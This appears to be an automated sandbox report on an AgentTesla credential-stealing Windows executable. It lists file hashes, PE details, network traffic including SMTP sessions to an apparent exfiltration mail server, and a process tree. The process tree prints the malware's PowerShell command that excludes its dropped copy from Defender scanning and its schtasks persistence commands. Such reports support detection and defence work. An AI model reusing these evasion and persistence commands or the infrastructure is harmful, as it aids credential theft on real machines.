Entropy (8bit):	7.951191991023997
Encrypted:	false
SSDEEP:	12288:q3nKIhswVenAJnEorRImS5INcHSXh6+QrDpLh/xWBdEhApcVXf2kR:4nKLmeYBWGcHMgFhZWBnsV
MD5:	52CD4C12A51D55526CEAA5F1E7F9E549
SHA1:	6CA86A42D595177B554B82B5EA3A8DD40D1C3280
SHA-256:	C501EBCF488C9172EF490E70C37ADB5926783F3AAC132E8FF58F90B6B3232E03
SHA-512:	285B4BE0A187E86316B0335E5B587DFFB23B77952AFEF1F48A879B567E602A6ABBADA2C7CD65A02F4AFB2F532E2912B446849255B9D2E70448AB6E0CC5CEFFE4
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....7Kf.................6...........U... ........@.. ....................................@..................................T..W....`...............@...6........................................................... ............... ..H............text...$5... ...6.................. ..`.rsrc........`.......8..............@..@.reloc...............>..............@..B.................U......H.......d...`O......(....................................................0..A....... .........%.E...(.....F... ........%.-...(.........(W........&...^..}.....(.......(......0..........~F....~........E........d...d...................+.....(......{....o....r...po....&..!. {...Y.+..{....o....r...po....&.{....o....r...po....&. ......8v....{....o....r)..po....&.{....o....r=..po....&. ..... ....Y.87....{.....o......{.....o.......8.....{.....o.....*...0..........~.......sl....+.

C:\Users\user\AppData\Roaming\joUXSCpr.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\SMBKT-20242005.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.951191991023997
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.96% Win16/32 Executable Delphi generic (2074/23) 0.01% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	SMBKT-20242005.exe
File size:	751'112 bytes
MD5:	52cd4c12a51d55526ceaa5f1e7f9e549
SHA1:	6ca86a42d595177b554b82b5ea3a8dd40d1c3280
SHA256:	c501ebcf488c9172ef490e70c37adb5926783f3aac132e8ff58f90b6b3232e03
SHA512:	285b4be0a187e86316b0335e5b587dffb23b77952afef1f48a879b567e602a6abbada2c7cd65a02f4afb2f532e2912b446849255b9d2e70448ab6e0cc5ceffe4
SSDEEP:	12288:q3nKIhswVenAJnEorRImS5INcHSXh6+QrDpLh/xWBdEhApcVXf2kR:4nKLmeYBWGcHMgFhZWBnsV
TLSH:	60F4230687BD6F1BD7F9677288E1D0098FF264896221D69E7EC110D31ED6B44AB01F8B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....7Kf.................6...........U... ........@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4b551e
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x664B37EA [Mon May 20 11:45:46 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=COMODO RSA Code Signing CA, O=COMODO CA Limited, L=Salford, S=Greater Manchester, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/11/2018 00:00:00 08/11/2021 23:59:59
Subject Chain	CN=Simon Tatham, O=Simon Tatham, L=Cambridge, S=Cambridgeshire, C=GB
Version:	3
Thumbprint MD5:	DABD77E44EF6B3BB91740FA46696B779
Thumbprint SHA-1:	5B9E273CF11941FD8C6BE3F038C4797BBE884268
Thumbprint SHA-256:	4CD3325617EBB63319BA6E8F2A74B0B8CCA58920B48D8026EBCA2C756630D570
Serial:	7C1118CBBADC95DA3752C46E47A27438

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb54c4	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb6000	0x600	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xb4000	0x3608
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb8000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xb3524	0xb3600	8f2864563c3b314a2ba1b162239976d0	False	0.9646763392857143	data	7.957426352792891	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xb6000	0x600	0x600	b146891dd717b61da6f53a87523710ee	False	0.4270833333333333	data	4.080006700599184	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xb8000	0xc	0x200	f3892d1d62724674fbbf8715036c2145	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xb6090	0x2f8	data			0.45921052631578946
RT_MANIFEST	0xb6398	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 21, 2024 13:45:30.219183922 CEST	49710	443	192.168.2.9	104.26.13.205
May 21, 2024 13:45:30.219278097 CEST	443	49710	104.26.13.205	192.168.2.9
May 21, 2024 13:45:30.219367027 CEST	49710	443	192.168.2.9	104.26.13.205
May 21, 2024 13:45:30.226900101 CEST	49710	443	192.168.2.9	104.26.13.205
May 21, 2024 13:45:30.226934910 CEST	443	49710	104.26.13.205	192.168.2.9
May 21, 2024 13:45:30.800045967 CEST	443	49710	104.26.13.205	192.168.2.9
May 21, 2024 13:45:30.800131083 CEST	49710	443	192.168.2.9	104.26.13.205
May 21, 2024 13:45:30.805169106 CEST	49710	443	192.168.2.9	104.26.13.205
May 21, 2024 13:45:30.805224895 CEST	443	49710	104.26.13.205	192.168.2.9
May 21, 2024 13:45:30.805771112 CEST	443	49710	104.26.13.205	192.168.2.9
May 21, 2024 13:45:30.856681108 CEST	49710	443	192.168.2.9	104.26.13.205
May 21, 2024 13:45:30.886470079 CEST	49710	443	192.168.2.9	104.26.13.205
May 21, 2024 13:45:30.932117939 CEST	443	49710	104.26.13.205	192.168.2.9
May 21, 2024 13:45:31.055871010 CEST	443	49710	104.26.13.205	192.168.2.9
May 21, 2024 13:45:31.056036949 CEST	443	49710	104.26.13.205	192.168.2.9
May 21, 2024 13:45:31.056171894 CEST	49710	443	192.168.2.9	104.26.13.205
May 21, 2024 13:45:31.069188118 CEST	49710	443	192.168.2.9	104.26.13.205
May 21, 2024 13:45:31.785428047 CEST	49712	587	192.168.2.9	212.44.102.65
May 21, 2024 13:45:31.841042042 CEST	587	49712	212.44.102.65	192.168.2.9
May 21, 2024 13:45:31.841154099 CEST	49712	587	192.168.2.9	212.44.102.65
May 21, 2024 13:45:32.722377062 CEST	587	49712	212.44.102.65	192.168.2.9
May 21, 2024 13:45:32.722567081 CEST	49712	587	192.168.2.9	212.44.102.65
May 21, 2024 13:45:32.736687899 CEST	587	49712	212.44.102.65	192.168.2.9
May 21, 2024 13:45:32.925565004 CEST	587	49712	212.44.102.65	192.168.2.9
May 21, 2024 13:45:32.925744057 CEST	49712	587	192.168.2.9	212.44.102.65
May 21, 2024 13:45:32.930850029 CEST	587	49712	212.44.102.65	192.168.2.9
May 21, 2024 13:45:33.125586987 CEST	587	49712	212.44.102.65	192.168.2.9
May 21, 2024 13:45:33.169106960 CEST	49712	587	192.168.2.9	212.44.102.65
May 21, 2024 13:45:33.236957073 CEST	49713	443	192.168.2.9	104.26.13.205
May 21, 2024 13:45:33.237035036 CEST	443	49713	104.26.13.205	192.168.2.9
May 21, 2024 13:45:33.237241030 CEST	49713	443	192.168.2.9	104.26.13.205
May 21, 2024 13:45:33.241331100 CEST	49713	443	192.168.2.9	104.26.13.205
May 21, 2024 13:45:33.241369009 CEST	443	49713	104.26.13.205	192.168.2.9
May 21, 2024 13:45:33.731309891 CEST	443	49713	104.26.13.205	192.168.2.9
May 21, 2024 13:45:33.731403112 CEST	49713	443	192.168.2.9	104.26.13.205
May 21, 2024 13:45:33.733197927 CEST	49713	443	192.168.2.9	104.26.13.205
May 21, 2024 13:45:33.733237028 CEST	443	49713	104.26.13.205	192.168.2.9
May 21, 2024 13:45:33.733583927 CEST	443	49713	104.26.13.205	192.168.2.9
May 21, 2024 13:45:33.767318010 CEST	49712	587	192.168.2.9	212.44.102.65
May 21, 2024 13:45:33.794280052 CEST	49713	443	192.168.2.9	104.26.13.205
May 21, 2024 13:45:33.836127996 CEST	443	49713	104.26.13.205	192.168.2.9
May 21, 2024 13:45:33.971215963 CEST	443	49713	104.26.13.205	192.168.2.9
May 21, 2024 13:45:33.971842051 CEST	443	49713	104.26.13.205	192.168.2.9
May 21, 2024 13:45:33.971901894 CEST	49713	443	192.168.2.9	104.26.13.205
May 21, 2024 13:45:33.974024057 CEST	49713	443	192.168.2.9	104.26.13.205
May 21, 2024 13:45:34.498406887 CEST	49716	587	192.168.2.9	212.44.102.65
May 21, 2024 13:45:34.506289005 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:45:34.506362915 CEST	49716	587	192.168.2.9	212.44.102.65
May 21, 2024 13:45:35.102060080 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:45:35.102263927 CEST	49716	587	192.168.2.9	212.44.102.65
May 21, 2024 13:45:35.107146978 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:45:35.302222013 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:45:35.303137064 CEST	49716	587	192.168.2.9	212.44.102.65
May 21, 2024 13:45:35.356950998 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:45:35.506542921 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:45:35.507210970 CEST	49716	587	192.168.2.9	212.44.102.65
May 21, 2024 13:45:35.512511969 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:45:35.714023113 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:45:35.714044094 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:45:35.714185953 CEST	49716	587	192.168.2.9	212.44.102.65
May 21, 2024 13:45:35.717343092 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:45:35.717355013 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:45:35.717416048 CEST	49716	587	192.168.2.9	212.44.102.65
May 21, 2024 13:45:35.734257936 CEST	49716	587	192.168.2.9	212.44.102.65
May 21, 2024 13:45:35.828978062 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:45:35.972925901 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:45:35.979861021 CEST	49716	587	192.168.2.9	212.44.102.65
May 21, 2024 13:45:35.984785080 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:45:36.177222013 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:45:36.178621054 CEST	49716	587	192.168.2.9	212.44.102.65
May 21, 2024 13:45:36.183584929 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:45:36.375930071 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:45:36.377028942 CEST	49716	587	192.168.2.9	212.44.102.65
May 21, 2024 13:45:36.381953001 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:45:36.609577894 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:45:36.610035896 CEST	49716	587	192.168.2.9	212.44.102.65
May 21, 2024 13:45:36.614994049 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:45:36.807090998 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:45:36.807439089 CEST	49716	587	192.168.2.9	212.44.102.65
May 21, 2024 13:45:36.821430922 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:45:37.071655989 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:45:37.071993113 CEST	49716	587	192.168.2.9	212.44.102.65
May 21, 2024 13:45:37.076914072 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:45:37.268383026 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:45:37.269121885 CEST	49716	587	192.168.2.9	212.44.102.65
May 21, 2024 13:45:37.269212961 CEST	49716	587	192.168.2.9	212.44.102.65
May 21, 2024 13:45:37.269247055 CEST	49716	587	192.168.2.9	212.44.102.65
May 21, 2024 13:45:37.269275904 CEST	49716	587	192.168.2.9	212.44.102.65
May 21, 2024 13:45:37.274085045 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:45:37.324959993 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:45:37.324969053 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:45:37.324978113 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:45:37.617010117 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:45:37.669178009 CEST	49716	587	192.168.2.9	212.44.102.65
May 21, 2024 13:47:14.528971910 CEST	49716	587	192.168.2.9	212.44.102.65
May 21, 2024 13:47:14.536735058 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:47:14.729302883 CEST	587	49716	212.44.102.65	192.168.2.9
May 21, 2024 13:47:14.730031013 CEST	49716	587	192.168.2.9	212.44.102.65

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 21, 2024 13:45:30.185522079 CEST	65211	53	192.168.2.9	1.1.1.1
May 21, 2024 13:45:30.196038008 CEST	53	65211	1.1.1.1	192.168.2.9
May 21, 2024 13:45:31.670753002 CEST	50334	53	192.168.2.9	1.1.1.1
May 21, 2024 13:45:31.784424067 CEST	53	50334	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 21, 2024 13:45:30.185522079 CEST	192.168.2.9	1.1.1.1	0x793c	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
May 21, 2024 13:45:31.670753002 CEST	192.168.2.9	1.1.1.1	0xba83	Standard query (0)	mail.stilbo.eu	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
May 21, 2024 13:45:30.196038008 CEST	1.1.1.1	192.168.2.9	0x793c	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
May 21, 2024 13:45:30.196038008 CEST	1.1.1.1	192.168.2.9	0x793c	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
May 21, 2024 13:45:30.196038008 CEST	1.1.1.1	192.168.2.9	0x793c	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
May 21, 2024 13:45:31.784424067 CEST	1.1.1.1	192.168.2.9	0xba83	No error (0)	mail.stilbo.eu	212.44.102.65	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49710	104.26.13.205	443	7764	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-21 11:45:30 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-05-21 11:45:31 UTC	211	IN	HTTP/1.1 200 OK Date: Tue, 21 May 2024 11:45:31 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 887452185b141a0f-EWR
2024-05-21 11:45:31 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 37 35 Data Ascii: 8.46.123.175

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49713	104.26.13.205	443	8092	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-21 11:45:33 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-05-21 11:45:33 UTC	211	IN	HTTP/1.1 200 OK Date: Tue, 21 May 2024 11:45:33 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8874522a8f2f8c78-EWR
2024-05-21 11:45:33 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 37 35 Data Ascii: 8.46.123.175

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
May 21, 2024 13:45:32.722377062 CEST	587	49712	212.44.102.65	192.168.2.9	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Tue, 21 May 2024 13:45:32 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 21, 2024 13:45:32.722567081 CEST	49712	587	192.168.2.9	212.44.102.65	EHLO 878411
May 21, 2024 13:45:32.925565004 CEST	587	49712	212.44.102.65	192.168.2.9	250-rcp-9.controlpanel.si Hello 878411 [8.46.123.175] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 21, 2024 13:45:32.925744057 CEST	49712	587	192.168.2.9	212.44.102.65	STARTTLS
May 21, 2024 13:45:33.125586987 CEST	587	49712	212.44.102.65	192.168.2.9	220 TLS go ahead
May 21, 2024 13:45:35.102060080 CEST	587	49716	212.44.102.65	192.168.2.9	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Tue, 21 May 2024 13:45:34 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 21, 2024 13:45:35.102263927 CEST	49716	587	192.168.2.9	212.44.102.65	EHLO 878411
May 21, 2024 13:45:35.302222013 CEST	587	49716	212.44.102.65	192.168.2.9	250-rcp-9.controlpanel.si Hello 878411 [8.46.123.175] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 21, 2024 13:45:35.303137064 CEST	49716	587	192.168.2.9	212.44.102.65	STARTTLS
May 21, 2024 13:45:35.506542921 CEST	587	49716	212.44.102.65	192.168.2.9	220 TLS go ahead

Target ID:	1
Start time:	07:45:26
Start date:	21/05/2024
Path:	C:\Users\user\Desktop\SMBKT-20242005.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SMBKT-20242005.exe"
Imagebase:	0x970000
File size:	751'112 bytes
MD5 hash:	52CD4C12A51D55526CEAA5F1E7F9E549
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.1462365494.0000000003D79000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.1462365494.0000000003D79000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:45:28
Start date:	21/05/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\joUXSCpr.exe"
Imagebase:	0xcd0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:45:28
Start date:	21/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:45:28
Start date:	21/05/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\joUXSCpr" /XML "C:\Users\user\AppData\Local\Temp\tmp6AB.tmp"
Imagebase:	0xf40000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:45:28
Start date:	21/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:45:29
Start date:	21/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0x110000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:45:29
Start date:	21/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0xf80000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.1470694828.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.1470694828.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.1473242520.000000000338C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.1473242520.0000000003361000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.1473242520.0000000003361000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:45:30
Start date:	21/05/2024
Path:	C:\Users\user\AppData\Roaming\joUXSCpr.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\joUXSCpr.exe
Imagebase:	0x8a0000
File size:	751'112 bytes
MD5 hash:	52CD4C12A51D55526CEAA5F1E7F9E549
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:45:30
Start date:	21/05/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff72d8c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	07:45:32
Start date:	21/05/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\joUXSCpr" /XML "C:\Users\user\AppData\Local\Temp\tmp1263.tmp"
Imagebase:	0xf40000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	07:45:32
Start date:	21/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
